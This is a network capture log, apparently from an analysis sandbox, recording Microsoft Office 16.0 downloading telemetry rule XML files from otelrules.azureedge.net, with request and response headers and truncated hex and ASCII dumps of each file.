2024-11-23 20:16:07 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:07 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 6f884587-b01e-0001-3155-3c46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201607Z-15b8b599d88qw29phC1TEB5zag00000003g0000000001c7k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:07 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.8	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:07 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:08 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:08 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: df4f394c-601e-0002-2a39-3ca786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201608Z-178bfbc474brk967hC1NYCfu6000000004v0000000001t05 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:08 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.8	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:08 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:08 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: a3dd353e-a01e-0032-2c4e-3c1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201608Z-178bfbc474bfw4gbhC1NYCunf40000000500000000005sg4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:08 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.8	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:09 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:09 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bc0c8c97-701e-0053-1e45-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201609Z-178bfbc474bh5zbqhC1NYCkdug00000004yg000000003h15 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:09 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.8	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:09 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:09 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6a1e2df9-c01e-008d-338c-3a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201609Z-174c587ffdfb74xqhC1TEBhabc00000003bg00000000hb7a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:09 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.8	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:10 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:10 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:10 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 0cd55988-601e-003e-4d0c-3d3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201610Z-178bfbc474bgvl54hC1NYCsfuw00000004xg00000000asd1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:10 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.8	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:10 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:10 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:10 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: abaf503b-901e-0064-2b47-3ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201610Z-15b8b599d88l2dpthC1TEBmzr0000000038000000000neg2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:10 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.8	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:10 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:10 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: 6fe4cd85-501e-0029-2ea1-3ad0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201610Z-178bfbc474bv7whqhC1NYC1fg400000004ug00000000p0dr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:11 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.8	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:12 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:12 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2879cce-801e-0047-5869-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201612Z-178bfbc474btvfdfhC1NYCa2en000000053g000000002v83 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:12 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.8	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:12 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:12 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201612Z-178bfbc474bfw4gbhC1NYCunf400000004wg00000000hb57 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:12 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.8	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:12 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:12 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: c6f64b36-301e-0000-4706-3deecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201612Z-178bfbc474brk967hC1NYCfu6000000004t0000000006u13 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:12 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.8	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:12 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:12 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 923400a1-601e-005c-187f-3bf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201612Z-174c587ffdf4zw2thC1TEBu34000000003bg00000000thks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:13 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.8	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
